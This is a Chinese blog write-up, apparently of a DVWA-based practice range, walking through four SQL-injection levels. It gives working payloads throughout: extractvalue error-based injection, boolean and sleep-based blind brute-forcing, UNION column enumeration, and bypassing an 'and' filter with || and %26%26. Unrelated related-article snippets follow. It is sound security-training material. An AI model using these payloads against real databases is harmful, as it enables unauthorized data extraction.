当前位置: 首页 > news >正文

【sql注入】sql关卡1~4

前言: 靶场自取

level-1

测试注入点

POC: 1,1',1'',1"",1/1,1/0

==》存在注入点

爆破

POC: id=-1'+and+extractvalue(1,concat(0x7e,user(),0x7e))--+
在这里插入图片描述

level-2

尝试注入点

POC1:admin'
POC2:admin''
POC3:admin''+and+sleep(3)--+
POC4: admin'+and+if(1,1,0)=0--+
POC5: admin'+and+if(1,1,0)=1--+
在这里插入图片描述
==》
POC1,POC2没有反应
POC3存在延时输出,存在休眠盲注
POC4、POC5存在content-length周期变化,存在布尔盲注

爆破

尝试盲注

  • step1: 爆破数据库名
    在这里插入图片描述
    在这里插入图片描述
    ==》 数据库长度为4

  • step2: 获取数据库每个字符
    在这里插入图片描述
    在这里插入图片描述
    ==》 database: dvwa
    同理得到用户名:root@localhost

    ==》爆出表名
    POC:id=admin'+and+if(substr(concat(0x7e,(select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())),0x7e),§1§,1)='§a§',1,0)--+
    在这里插入图片描述
    ==》得到表名:guestbook,users

level-3

测试注入点

利用1,1’,1",1/1,1/2
在这里插入图片描述
===》
a. 存在注入点
b. 注入点是表名,猜想sql语句为select * from '$id$ where user_id='1' LIMIT 0,1

爆破

POC=id=(select(extractValue(1,concat(0x7e,(select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())),0x7e))))as+a--+
在这里插入图片描述
3. 尝试表名
在这里插入图片描述
4. 尝试爆破其他字段

  • 方式一:union方式

    • step1: 获取列数(二分法)
      POC1: id=users+order+by 10 //不回显
      POC2: id=users+order+by 5 //回显
      POC3: id=users+order+by 7 //回显
      POC4: id=users+order+by 8 //回显
      POC5: id=users+order+by 9 //不回显
      在这里插入图片描述 ===》 8列

    • step2: 获取回显位
      POC: id=users+where+user_id=-1+union+select+1,2,3,4,5,6,7,8--+
      注意这里需要手动构造where user_id=-1 在这里插入图片描述==》 回显位:4,5

    • step 3: 爆破数据

      • 爆破用户名、数据库
        POC: id=users+where+user_id=-1+union+select+1,2,3,user(),database(),6,7,8--+
        在这里插入图片描述
  • 方式二:报错函数方式

    • 爆破用户名
      POC: id=(select(extractvalue(1,concat(0x7e,user()))))as+a--+
      在这里插入图片描述
    • 爆出数据库
      POC: id=(select(extractvalue(1,concat(0x7e,database()))))as+a--+
      在这里插入图片描述

level-4

测试注入点

POC: 1'、1"、1""、1/0、1/1,sleep

==》 id=1存在注入

爆破

  • POC: id=1'+and+extractvalue(1,concat(0x7e,user(),0x7e))--+

在这里插入图片描述
==》and被转移为_了

  • 尝试使用||代替and。
    POC: id=1'+||+extractvalue(1,concat(0x7e,user(),0x7e))--+
    在这里插入图片描述

==》成功爆破

  • 尝试%26代替
    POC: id=1'%26%26+extractvalue(1,concat(0x7e,user(),0x7e))--+
    在这里插入图片描述
    ==》成功爆破

相关文章:

【sql注入】sql关卡1~4

前言: 靶场自取 level-1 测试注入点 POC: 1,1,1,1"",1/1,1/0 》存在注入点 爆破 POC: id-1andextractvalue(1,concat(0x7e,user(),0x7e))-- level-2 尝试注入点 POC1:admin POC2:admin POC3:adminandsleep(3)-- POC4: adminandif(1,1,0)0-- POC…...

【机器学习合集】模型设计之注意力机制动态网络 ->(个人学习记录笔记)

文章目录 注意力机制1. 注意力机制及其应用1.1 注意力机制的定义1.2 注意力机制的典型应用 2. 注意力模型设计2.1 空间注意力机制2.2 空间注意力模型2.3 通道注意力机制2.4 空间与通道注意力机制2.5 自注意力机制2.5 级联attention 动态网络1. 动态网络的定义2. 基于丢弃策略的…...

【jvm】方法的调用

目录 一、方法的调用二、非虚方法三、虚方法四、虚拟机调用指令4.1 普通调用指令4.2 动态调用指令 五、代码示例5.1 父类5.2 子类5.3 接口5.4 接口实现 六、方法指令七、说明八、invokedynamic指令8.1 说明8.2 代码示例8.3 main方法指令 九、方法重写的本质十、虚方法表 一、方…...

Linux中的进程等待

文章目录 1.进程等待1.1进程等待必要性1.1.1为什么有进程等待这个概念1.1.2进程等待是什么?1.1.3进程等待具体干什么? 1.2进程退出方法: 2.具体代码实现 1.进程等待 1.1进程等待必要性 1.1.1为什么有进程等待这个概念 之前讲过&#xff0c…...

ubuntu22.04桌面完整版配置WiFi方法(修改磁盘文件方式--不需要显示器)(注意了:后来发现这个方法是错误的!!!)

打开这个文件: /etc/network/interfaces 一般来说这个文件是无法修改的,但是可以通过在/etc/network/文件夹找一个叫做interfaces.d的文件夹,(正常的Ubuntu系统跟这个树莓派的Ubuntu系统不一样,正常系统没有这个interfaces文件)…...

React项目使用craco修改webpack配置

React项目使用craco 通过Create React App(CRA)搭建的react项目,webpack的相关配置是被默认隐藏起来的,如果想修改关于webpack的相关配置,有两种方式: npm run ejectcraco npm run eject npm run eject…...

@RunWith(SpringRunner.class)注解的作用

通俗点: RunWith(SpringRunner.class)的作用表明Test测试类要使用注入的类,比如Autowired注入的类,有了RunWith(SpringRunner.class)这些类才能实例化到spring容器中,自动注入才能生效 官方点: RunWith 注解是JUnit测…...

深入理解网络IO复用并发模型

本文主要介绍服务端对于网络并发模型以及Linux系统下常见的网络IO复用并发模型。文章内容一共分为两个部分。 第一部分主要介绍网络并发中的一些基本概念以及我们Linux下常见的原生IO复用系统调用(epoll/select)等。第二部分主要介绍并发场景下常见的网…...

二叉树采用二叉链表存储:编写计算整个二叉树高度的算法

二叉树采用二叉链表存储:编写计算整个二叉树高度的算法 (二叉树的高度也叫二叉树的深度) 代码思路: 首先你要明白什么是树的高度,简言之就是树有多少层,如下图: 下面这棵树的高度就是4 首先我们观察根节点&#xff0…...

antd Cascader级联菜单无法赋值回显问题

说起来太丢人了,自己还拿官网例子在这里调试半天,最后发现是一个特别小儿科的问题哈哈 Cascader级联数据是服务端返回然后自己处理过的,使用了cascader的fileNames属性重置字段名,最后发现服务端回传的数据无法赋值回显在组件上&…...

在react中使用redux react-redux的使用demo

前言: redux是一种状态管理工具,可以存储和操作一些全局或者很多组件需要使用的公共数据。 平心而论,redux的使用对于新上手来说不太友好,多个依赖包的,多种api的结合使用,相对来说比做同样一件事的vuex用起来比较麻烦.不过,熟能生巧,用多了也就习惯了,下面是个人的一个demo,…...

Flutter 06 动画

一、动画基本原理以及Flutter动画简介 1、动画原理: 在任何系统的Ul框架中,动画实现的原理都是相同的,即:在一段时间内,快速地多次改变Ul外观;由于人眼会产生视觉暂留,所以最终看到的就是一个…...

优化改进YOLOv5算法之添加MS-Block模块,有效提升目标检测效果(超详细)

目录 前言 1 MS-Block原理 1.1 Multi-Scale Building Block Design 1.2 Heterogeneous Kernel Selection Protocol 2 YOLOv5算法中加入MS-Block...

【论文阅读】Iterative Poisson Surface Reconstruction (iPSR) for Unoriented Points

文章目录 声明作者列表核心思想归纳算法流程机器翻译声明 本帖更新中如有问题,望批评指正!如果有人觉得帖子质量差,希望在评论中给出建议,谢谢!作者列表 FEI HOU(侯飞)、CHIYU WANG、WENCHENG WANG:中国科学院大学 HONG QIN CHEN QIAN、YING HE 核心思想归纳 当一条从…...

通过akshare获取股票分钟数据

参考:https://blog.csdn.net/qnloft/article/details/131218295 import akshare as ak 个股的 df ak.stock_zh_a_hist_min_em(symbol“000001”, start_date“2023-11-03 09:30:00”, end_date“2023-11-03 15:00:00”, period‘1’, adjust‘’) print(df) date_info df[‘…...

【论文阅读笔记】Traj-MAE: Masked Autoencoders for Trajectory Prediction

Abstract 通过预测可能的危险,轨迹预测一直是构建可靠的自动驾驶系统的关键任务。一个关键问题是在不发生碰撞的情况下生成一致的轨迹预测。为了克服这一挑战,我们提出了一种有效的用于轨迹预测的掩蔽自编码器(Traj-MAE),它能更好地代表驾驶…...

MySQL - Zero date value prohibited

问题: timestamp字段报Caused by: com.mysql.cj.exceptions.DataReadException: Zero date value prohibited 原因: timestamp字段存入了0值, 超出了最小值1900-01-01 00:00:00, 转Java对象的时候报错 解决: 1.修复或删除原数据 2. mysqlurl 中添加zeroDateTimeBehaviorconve…...

设计模式——迭代器模式(Iterator Pattern)+ Spring相关源码

文章目录 一、迭代器模式二、例子2.1 菜鸟例子2.1.1 定义迭代器接口2.1.2 定义迭代对象接口——用于返回一个迭代器2.1.3 实现 迭代对象 和 迭代器2.1.4 使用 2.2 JDK源码——ArrayList2.3 Spring源码——DefaultListableBeanFactory 三、其他设计模式 一、迭代器模式 类型&am…...

【word技巧】ABCD选项如何对齐?

使用word文件制作试卷,如何将ABCD选项全部设置对齐?除了一直按空格或者Tab键以外,还有其他方法吗?今天分享如何将ABCD选项对齐。 首先,我们打开【替换和查找】,在查找内容输入空格,然后点击全部…...

如何在uni-app小程序端实现长按复制功能

在开发小程序应用中,常常需要使用到长按复制功能。本文将介绍如何在uni-app小程序端实现长按复制功能。 uni-app是一个跨平台的开发框架,可以基于vue.js语法开发小程序、H5、APP等多个平台的应用。uni-app提供了一些内置组件和API,可以方便地…...

浅谈 React Hooks

React Hooks 是 React 16.8 引入的一组 API,用于在函数组件中使用 state 和其他 React 特性(例如生命周期方法、context 等)。Hooks 通过简洁的函数接口,解决了状态与 UI 的高度解耦,通过函数式编程范式实现更灵活 Rea…...

挑战杯推荐项目

“人工智能”创意赛 - 智能艺术创作助手:借助大模型技术,开发能根据用户输入的主题、风格等要求,生成绘画、音乐、文学作品等多种形式艺术创作灵感或初稿的应用,帮助艺术家和创意爱好者激发创意、提高创作效率。 ​ - 个性化梦境…...

五年级数学知识边界总结思考-下册

目录 一、背景二、过程1.观察物体小学五年级下册“观察物体”知识点详解:由来、作用与意义**一、知识点核心内容****二、知识点的由来:从生活实践到数学抽象****三、知识的作用:解决实际问题的工具****四、学习的意义:培养核心素养…...

鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院查看报告小程序

一、开发环境准备 ​​工具安装​​: 下载安装DevEco Studio 4.0(支持HarmonyOS 5)配置HarmonyOS SDK 5.0确保Node.js版本≥14 ​​项目初始化​​: ohpm init harmony/hospital-report-app 二、核心功能模块实现 1. 报告列表…...

GitHub 趋势日报 (2025年06月08日)

📊 由 TrendForge 系统生成 | 🌐 https://trendforge.devlive.org/ 🌐 本日报中的项目描述已自动翻译为中文 📈 今日获星趋势图 今日获星趋势图 884 cognee 566 dify 414 HumanSystemOptimization 414 omni-tools 321 note-gen …...

在鸿蒙HarmonyOS 5中使用DevEco Studio实现录音机应用

1. 项目配置与权限设置 1.1 配置module.json5 {"module": {"requestPermissions": [{"name": "ohos.permission.MICROPHONE","reason": "录音需要麦克风权限"},{"name": "ohos.permission.WRITE…...

HarmonyOS运动开发:如何用mpchart绘制运动配速图表

##鸿蒙核心技术##运动开发##Sensor Service Kit(传感器服务)# 前言 在运动类应用中,运动数据的可视化是提升用户体验的重要环节。通过直观的图表展示运动过程中的关键数据,如配速、距离、卡路里消耗等,用户可以更清晰…...

GruntJS-前端自动化任务运行器从入门到实战

Grunt 完全指南:从入门到实战 一、Grunt 是什么? Grunt是一个基于 Node.js 的前端自动化任务运行器,主要用于自动化执行项目开发中重复性高的任务,例如文件压缩、代码编译、语法检查、单元测试、文件合并等。通过配置简洁的任务…...

C/C++ 中附加包含目录、附加库目录与附加依赖项详解

在 C/C 编程的编译和链接过程中,附加包含目录、附加库目录和附加依赖项是三个至关重要的设置,它们相互配合,确保程序能够正确引用外部资源并顺利构建。虽然在学习过程中,这些概念容易让人混淆,但深入理解它们的作用和联…...

scikit-learn机器学习

# 同时添加如下代码, 这样每次环境(kernel)启动的时候只要运行下方代码即可: # Also add the following code, # so that every time the environment (kernel) starts, # just run the following code: import sys sys.path.append(/home/aistudio/external-libraries)机…...